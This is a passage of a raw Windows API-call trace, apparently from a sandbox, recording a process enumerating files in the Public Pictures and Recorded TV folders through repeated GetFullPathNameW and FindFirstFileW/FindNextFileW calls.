lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\", lpFilePart=0x0) returned 0x19 [0080.585] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.585] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.585] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.585] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0080.587] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\", lpFilePart=0x0) returned 0x29 [0080.587] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.590] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.590] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0080.590] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0080.591] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.591] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0080.591] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0080.591] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0080.591] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0080.592] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0080.592] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0080.592] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0080.592] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.594] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.594] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.594] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.594] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.595] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.596] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.596] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.596] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0080.596] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\", lpFilePart=0x0) returned 0x1c [0080.596] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.597] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.598] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.598] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0080.598] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: 